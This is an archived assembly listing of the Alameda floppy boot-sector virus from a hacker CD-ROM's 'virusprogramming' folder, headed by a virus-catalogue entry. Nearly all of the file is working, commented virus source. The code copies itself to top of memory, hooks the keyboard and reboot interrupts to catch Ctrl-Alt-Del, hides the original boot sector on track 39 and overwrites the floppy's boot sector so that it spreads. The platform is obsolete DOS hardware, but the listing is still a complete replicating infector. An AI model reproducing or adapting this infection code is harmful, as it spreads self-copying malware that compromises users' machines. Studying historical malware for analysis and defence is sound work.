home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / virus / virusprogramming / alameda.asm < prev    next >
Encoding:
Assembly Source File  |  1996-04-16  |  17.0 KB  |  399 lines

  1. Virus Name:  Alameda
  2. Aliases:     Mazatlan, Merritt, Peking, Seoul, Yale
  3. V Status:    Common
  4. Discovery:   1987
  5. Symptoms:    Floppy boot failures; resident-TOM; BSC
  6. Origin:      California, United States
  7. Eff Length:  N/A
  8. Type Code:   RtF - Resident Floppy Boot Sector Infector
  9. Detection Method:  ViruScan, F-Prot, AVTK, NAV, Sweep, CPAV, UTScan, IBMAV,
  10.            VirexPC, VBuster, VNet, Panda, DrVirus, Vi-Spy, MSAV,
  11.            PCRX
  12. Removal Instructions:  MDisk, CleanUp, F-Prot, NAV, or DOS SYS
  13.  
  14.  
  15.  
  16. ;-----------------------------------------------------------------------;
  17. ; This virus is of the "FLOPPY ONLY" variety.                           ;
  18. ; It replicates to the boot sector of a floppy disk and when it gains   ;
  19. ; control it will move itself to upper memory.                          ;
  20. ; It redirects the keyboard                                             ;
  21. ; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time  ;
  22. ; it will attempt to infect any floppy it finds in drive A:.            ;
  23. ; It keeps the real boot sector at track 39, sector 8, head 0           ;
  24. ; It does not map this sector bad in the fat (unlike the Pakistani Brain)
  25. ; and should that area be used by a file, the virus                     ;
  26. ; will die.  It also contains no anti detection mechanisms as does the  ;
  27. ; BRAIN virus.  It apparently uses head 0, sector 8 and not head 1      ;
  28. ; sector 9 because this is common to all floppy formats both single     ;
  29. ; sided and double sided.  It does not contain any malevolent TROJAN    ;
  30. ; HORSE code.  It does appear to contain a count of how many times it   ;
  31. ; has infected other diskettes although this is harmless and the count  ;
  32. ; is never accessed.                                                    ;
  33. ;                                                                       ;
  34. ; Things to note about this virus:                                      ;
  35. ; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
  36. ; is its primary (only for that matter) means of reproduction to other  ;
  37. ; floppy diskettes.  The only way to remove it from an infected system  ;
  38. ; is to turn the machine off and reboot an uninfected copy of DOS.      ;
  39. ; It is even resident when no floppy is booted but BASIC is loaded      ;
  40. ; instead.  Then when ALT-CTRL-DEL is pressed from inside of BASIC,     ;
  41. ; it activates and infectes the floppy from which the user is           ;
  42. ; attempting to boot.                                                   ;
  43. ;                                                                       ;
  44. ; Also note that because of the POP CS command to pass control to       ;
  45. ; its self in upper memory, this virus does not to work on 80286        ;
  46. ; machines (because this is not a valid 80286 instruction).             ;
  47. ;                                                                       ;
  48. ; The Norton Utilities can be used to identify infected diskettes by    ;
  49. ; looking at the boot sector and the DOS SYS utility can be used to     ;
  50. ; remove it (unlike the Pakistani Brain).                               ;
  51. ;-----------------------------------------------------------------------;
  52.             ;
  53.     ORG  7C00H               ;
  54.             ;
  55. TOS LABEL     WORD           ;TOP OF STACK
  56. ;-----------------------------------------------------------------------;
  57. ; 1. Find top of memory and copy ourself up there. (keeping same offset);
  58. ; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
  59. ; 3. Redirect int 9 (keyboard) to ourself in top of memory              ;
  60. ; 4. Jump to ourself at top of memory                                   ;
  61. ; 5. Load and execute REAL boot sector from track 40, head 0, sector 8  ;
  62. ;-----------------------------------------------------------------------;
  63. BEGIN:   CLI                 ;INITIALIZE STACK
  64.     XOR  AX,AX               ;
  65.     MOV  SS,AX               ;
  66.     MOV  SP,offset TOS       ;
  67.     STI                 ;
  68.                         ;
  69.     MOV  BX,0040H       ;ES = TOP OF MEMORY - (7C00H+512)
  70.     MOV  DS,BX               ;
  71.     MOV  AX,[0013H]          ;
  72.     MUL  BX             ;
  73.     SUB  AX,07E0H       ;   (7C00H+512)/16
  74.     MOV  ES,AX               ;
  75.                         ;
  76.     PUSH CS             ;DS = CS
  77.     POP  DS             ;
  78.                         ;
  79.     CMP  DI,3456H       ;IF THE VIRUS IS REBOOTING...
  80.     JNE  B_10           ;
  81.     DEC  Word Ptr [COUNTER_1]     ;...LOW&HI:COUNTER_1--
  82.                         ;
  83. B_10:    MOV  SI,SP     ;SP=7C00  ;COPY SELF TO TOP OF MEMORY
  84.     MOV  DI,SI               ;
  85.     MOV  CX,512              ;
  86.     CLD                 ;
  87.     REP  MOVSB               ;
  88.                         ;
  89.     MOV  SI,CX     ;CX=0          ;SAVE FIRST 32 INT VETOR ADDRESSES TO
  90.     MOV  DI,offset BEGIN - 128    ;   128 BYTES BELOW OUR HI CODE
  91.     MOV  CX,128              ;
  92.     REP  MOVSB               ;
  93.                         ;
  94.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  95.                         ;
  96.     PUSH ES   ;ES=HI    ;   JUMP TO OUR HI CODE WITH
  97.     NOP
  98.                         ;
  99.     PUSH DS   ;DS=0     ;   ES = DS
  100.     POP  ES             ;
  101.                         ;
  102.     MOV  BX,SP          ;   SP=7C00  ;LOAD REAL BOOT SECTOR TO 0000:7C00
  103.     MOV  DX,CX          ;CX=0        ;DRIVE A: HEAD 0
  104.     MOV  CX,2708H       ;   TRACK 40, SECTOR 8
  105.     MOV  AX,0201H       ;   READ SECTOR
  106.     INT  13H            ;   (common to 8/9 sect. 1/2 sided!)
  107.     JB   $              ;   HANG IF ERROR
  108.                         ;
  109.     JMP  JMP_BOOT       ;JMP 0000:7C00
  110.                         ;
  111. ;-----------------------------------------------------------------------;
  112. ; SAVE THEN REDIRECT INT 9 VECTOR                                       ;
  113. ;                                                                       ;
  114. ; ON ENTRY:   DS = 0                                                    ;
  115. ;        ES = WHERE TO SAVE OLD_09 & (HI)                               ;
  116. ;             WHERE NEW_09 IS         (HI)                              ;
  117. ;-----------------------------------------------------------------------;
  118. PUT_NEW_09:                  ;
  119.     DEC  Word Ptr [0413H]    ;TOP OF MEMORY (0040:0013) -= 1024
  120.                         ;
  121.     MOV  SI,9*4              ;COPY INT 9 VECTOR TO
  122.     MOV  DI,offset OLD_09    ;   OLD_09 (IN OUR HI CODE!)
  123.     MOV  CX,0004             ;
  124.                         ;
  125.     CLI                 ;
  126.     REP  MOVSB               ;
  127.     MOV  Word Ptr [9*4],offset NEW_09
  128.     MOV  [(9*4)+2],ES        ;
  129.     STI                 ;
  130.                         ;
  131.     RET                 ;
  132.                         ;
  133. ;-----------------------------------------------------------------------;
  134. ; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR                              ;
  135. ;-----------------------------------------------------------------------;
  136. ACK_KEYBD:                   ;
  137.     IN   AL,61H              ;RESET KEYBOARD THEN CONTINUE
  138.     MOV  AH,AL               ;
  139.     OR   AL,80H              ;
  140.     OUT  61H,AL              ;
  141.     XCHG AL,AH               ;
  142.     OUT  61H,AL              ;
  143.     JMP  RBOOT               ;
  144.                         ;
  145. ;-----------------------------------------------------------------------;
  146. ; DATA AREA WHICH IS NOT USED IN THIS VERSION                           ;
  147. ; REASON UNKNOWN                                                        ;
  148. ;-----------------------------------------------------------------------;
  149. TABLE    DB   27H,0,1,2      ;FORMAT INFORMATION FOR TRACK 39
  150.     DB   27H,0,2,2      ;   (CURRENTLY NOT USED)
  151.     DB   27H,0,3,2      ;
  152.     DB   27H,0,4,2      ;
  153.     DB   27H,0,5,2      ;
  154.     DB   27H,0,6,2      ;
  155.     DB   27H,0,7,2      ;
  156.     DB   27H,0,8,2      ;
  157.                         ;
  158. ;A7C9A   LABEL     BYTE           ;
  159.     DW   00024H              ;NOT USED
  160.     DB   0ADH           ;
  161.     DB   07CH           ;
  162.     DB   0A3H           ;
  163.     DW   00026H              ;
  164.                         ;
  165. ;L7CA1:                      ;
  166.     POP  CX             ;NOT USED
  167.     POP  DI             ;
  168.     POP  SI             ;
  169.     POP  ES             ;
  170.     POP  DS             ;
  171.     POP  AX             ;
  172.     POPF                ;
  173.     JMP  1111:1111      ;
  174.                         ;
  175. ;-----------------------------------------------------------------------;
  176. ; IF ALT & CTRL & DEL THEN ...                                          ;
  177. ; IF ALT & CTRL & ? THEN ...                                            ;
  178. ;-----------------------------------------------------------------------;
  179. NEW_09:  PUSHF                    ;
  180.     STI                 ;
  181.                         ;
  182.     PUSH AX             ;
  183.     PUSH BX             ;
  184.     PUSH DS             ;
  185.                         ;
  186.     PUSH CS             ;DS=CS
  187.     POP  DS             ;
  188.                         ;
  189.     MOV  BX,[ALT_CTRL W]     ;BX=SCAN CODE LAST TIME
  190.     IN   AL,60H              ;GET SCAN CODE
  191.     MOV  AH,AL               ;SAVE IN AH
  192.     AND  AX,887FH       ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
  193.                         ;
  194.     CMP  AL,1DH              ;IS IT A [CTRL]...
  195.     JNE  N09_10              ;...JUMP IF NO
  196.     MOV  BL,AH               ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
  197.     JMP  N09_30              ;
  198.                         ;
  199. N09_10:  CMP  AL,38H              ;IS IT AN [ALT]...
  200.     JNE  N09_20              ;...JUMP IF NO
  201.     MOV  BH,AH               ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
  202.     JMP  N09_30              ;
  203.                         ;
  204. N09_20:  CMP  BX,0808H       ;IF (CTRL DOWN & ALT DOWN)...
  205.     JNE  N09_30              ;...JUMP IF NO
  206.                         ;
  207.     CMP  AL,17H              ;IF [I]...
  208.     JE   N09_X0              ;...JUMP IF YES
  209.     CMP  AL,53H              ;IF [DEL]...
  210.     JE   ACK_KEYBD      ;...JUMP IF YES
  211.                         ;
  212. N09_30:  MOV  [ALT_CTRL],BX       ;SAVE SCAN CODE FOR NEXT TIME
  213.                         ;
  214. N09_90:  POP  DS             ;
  215.     POP  BX             ;
  216.     POP  AX             ;
  217.     POPF                ;
  218.                         ;
  219.     DB   0EAH           ;JMP F000:E987
  220. OLD_09   DW   ?              ;
  221.     DW   0F000H              ;
  222.                         ;
  223. N09_X0:  JMP  N09_X1              ;
  224.                         ;
  225. ;-----------------------------------------------------------------------;
  226. ;                                                                       ;
  227. ;-----------------------------------------------------------------------;
  228. RBOOT:   MOV  DX,03D8H       ;DISABLE COLOR VIDEO !?!?
  229.     MOV  AX,0800H       ;AL=0, AH=DELAY ARG
  230.     OUT  DX,AL               ;
  231.     CALL DELAY               ;
  232.     MOV  [ALT_CTRL],AX  ;AX=0     ;
  233.                         ;
  234.     MOV  AL,3 ;AH=0          ;SELECT 80x25 COLOR
  235.     INT  10H            ;
  236.     MOV  AH,2           ;SET CURSOR POS 0,0
  237.     XOR  DX,DX               ;
  238.     MOV  BH,DH               ;   PAGE 0
  239.     INT  10H            ;
  240.                         ;
  241.     MOV  AH,1           ;SET CURSOR TYPE
  242.     MOV  CX,0607H       ;
  243.     INT  10H            ;
  244.                         ;
  245.     MOV  AX,0420H       ;DELAY (AL=20H FOR EOI BELOW)
  246.     CALL DELAY               ;
  247.                         ;
  248.     CLI                 ;
  249.     OUT  20H,AL              ;SEND EOI TO INT CONTROLLER
  250.                         ;
  251.     MOV  ES,CX     ;CX=0 (DELAY)  ;RESTORE FIRST 32 INT VECTORS
  252.     MOV  DI,CX               ;   (REMOVING OUR INT 09 HANDLER!)
  253.     MOV  SI,offset BEGIN - 128    ;
  254.     MOV  CX,128              ;
  255.     CLD                 ;
  256.     REP  MOVSB               ;
  257.                         ;
  258.     MOV  DS,CX     ;CX=0          ;DS=0
  259.                         ;
  260.     MOV  Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
  261.     MOV  [(19H*4)+2],CS      ;
  262.                         ;
  263.     MOV  AX,0040H       ;DS = ROM DATA AREA
  264.     MOV  DS,AX               ;
  265.                         ;
  266.     MOV  [0017H],AH     ;AH=0     ;KBFLAG (SHIFT STATES) = 0
  267.     INC  Word Ptr [0013H]    ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
  268.                         ;
  269.     PUSH DS             ;IF BIOS F000:E502 == 21E4...
  270.     MOV  AX,0F000H      ;
  271.     MOV  DS,AX               ;
  272.     CMP  Word Ptr [0E502H],21E4H  ;
  273.     POP  DS             ;
  274.     JE   R_90           ;
  275.     INT  19H            ;   IF NOT...REBOOT
  276.                         ;
  277. R_90:    JMP  0F000:0E502H        ;...DO IT ?!?!?!
  278.                         ;
  279. ;-----------------------------------------------------------------------;
  280. ; REBOOT INT VECTOR                                                     ;
  281. ;-----------------------------------------------------------------------;
  282. NEW_19:  XOR  AX,AX               ;
  283.                         ;
  284.     MOV  DS,AX               ;DS=0
  285.     MOV  AX,[0410]      ;AX=EQUIP FLAG
  286.     TEST AL,1           ;IF FLOPPY DRIVES ...
  287.     JNZ  N19_20              ;...JUMP
  288. N19_10:  PUSH CS             ;ELSE ES=CS
  289.     POP  ES             ;
  290.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  291.     INT  18H            ;LOAD BASIC
  292.                         ;
  293. N19_20:  MOV  CX,0004             ;RETRY COUNT = 4
  294.                         ;
  295. N19_22:  PUSH CX             ;
  296.     MOV  AH,00               ;RESET DISK
  297.     INT  13             ;
  298.     JB   N19_81              ;
  299.     MOV  AX,0201             ;READ BOOT SECTOR
  300.     PUSH DS             ;
  301.     POP  ES             ;
  302.     MOV  BX,offset BEGIN          ;
  303.     MOV  CX,1           ;TRACK 0, SECTOR 1
  304.     INT  13H            ;
  305. N19_81:  POP  CX             ;
  306.     JNB  N19_90              ;
  307.     LOOP N19_22              ;
  308.     JMP  N19_10              ;IF RETRY EXPIRED...LOAD BASIC
  309.                         ;
  310. ;-----------------------------------------------------------------------;
  311. ; Reinfection segment.                                                  ;
  312. ;-----------------------------------------------------------------------;
  313. N19_90:  CMP  DI,3456             ;IF NOT FLAG SET...
  314.     JNZ  RE_INFECT      ;...RE INFECT
  315.                         ;
  316. JMP_BOOT:                    ;PASS CONTROL TO BOOT SECTOR
  317.     JMP  0000:7C00H          ;
  318.                         ;
  319. ;-----------------------------------------------------------------------;
  320. ; Reinfection Segment.                                                  ;
  321. ;-----------------------------------------------------------------------;
  322. RE_INFECT:                   ;
  323.     MOV  SI,offset BEGIN          ;COMPARE BOOT SECTOR JUST LOADED WITH
  324.     MOV  CX,00E6H       ;   OURSELF
  325.     MOV  DI,SI               ;
  326.     PUSH CS             ;
  327.     POP  ES             ;
  328.     CLD                 ;
  329.     REPE CMPSB               ;
  330.     JE   RI_12               ;IF NOT EQUAL...
  331.                         ;
  332.     INC  Word Ptr ES:[COUNTER_1]  ;INC. COUNTER IN OUR CODE (NOT DS!)
  333.                         ;
  334. ;MAKE SURE TRACK 39, HEAD 0 FORMATTED  ;
  335.     MOV  BX,offset TABLE          ;FORMAT INFO
  336.     MOV  DX,0000             ;DRIVE A: HEAD 0
  337.     MOV  CH,40-1             ;TRACK 39
  338.     MOV  AH,5           ;FORMAT
  339.     JMP  RI_10               ;REMOVE THE FORMAT OPTION FOR NOW !
  340.                         ;
  341. ; <<< NO EXECUTION PATH TO HERE >>>    ;
  342.     JB   RI_80               ;
  343.                         ;
  344. ;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
  345. RI_10:   MOV  ES,DX               ;ES:BX = 0000:7C00, HEAD=0
  346.     MOV  BX,offset BEGIN          ;TRACK 40H
  347.     MOV  CL,8           ;SECTOR 8
  348.     MOV  AX,0301H       ;WRITE 1 SECTOR
  349.     INT  13H            ;
  350.                         ;
  351.     PUSH CS             ;   (ES=CS FOR PUT_NEW_09 BELOW)
  352.     POP  ES             ;
  353.     JB   RI_80               ;IF WRITE ERROR...JUMP TO BOOT CODE
  354.                         ;
  355.     MOV  CX,0001             ;WRITE INFECTED BOOT SECTOR !
  356.     MOV  AX,0301             ;
  357.     INT  13H            ;
  358.     JB   RI_80               ;   IF ERROR...JUMP TO BOOT CODE
  359.                         ;
  360. RI_12:   MOV  DI,3456H       ;SET "JUST INFECTED ANOTHER ONE"...
  361.     INT  19H            ;...FLAG AND REBOOT
  362.                         ;
  363. RI_80:   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  364.     DEC  Word Ptr ES:[COUNTER_1]  ;   (DEC. CAUSE DIDNT INFECT)
  365.     JMP  JMP_BOOT       ;
  366.                         ;
  367. ;-----------------------------------------------------------------------;
  368. ;                                                                       ;
  369. ;-----------------------------------------------------------------------;
  370. N09_X1:  MOV  [ALT_CTRL],BX       ;SAVE ALT & CTRL STATUS
  371.                         ;
  372.     MOV  AX,[COUNTER_1]      ;PUT COUNTER_1 INTO RESET FLAG
  373.     MOV  BX,0040H       ;
  374.     MOV  DS,BX               ;
  375.     MOV  [0072H],AX          ;   0040:0072 = RESET FLAG
  376.     JMP  N09_90              ;
  377.                         ;
  378. ;-----------------------------------------------------------------------;
  379. ; DELAY                                                                 ;
  380. ;                                                                       ;
  381. ; ON ENTRY    AH:CX = LOOP COUNT                                        ;
  382. ;-----------------------------------------------------------------------;
  383. DELAY:   SUB  CX,CX               ;
  384. D_01:    LOOP $              ;
  385.     SUB  AH,1           ;
  386.     JNZ  D_01           ;
  387.     RET                 ;
  388.                         ;
  389. ;-----------------------------------------------------------------------;
  390. ;                                                                       ;
  391. ;-----------------------------------------------------------------------;
  392. A7DF4         DB   27H,00H,8,2
  393.  
  394. COUNTER_1     DW   001CH
  395. ALT_CTRL      DW   0
  396. A7DFC         DB   27H,0,8,2
  397.  
  398.  
  399.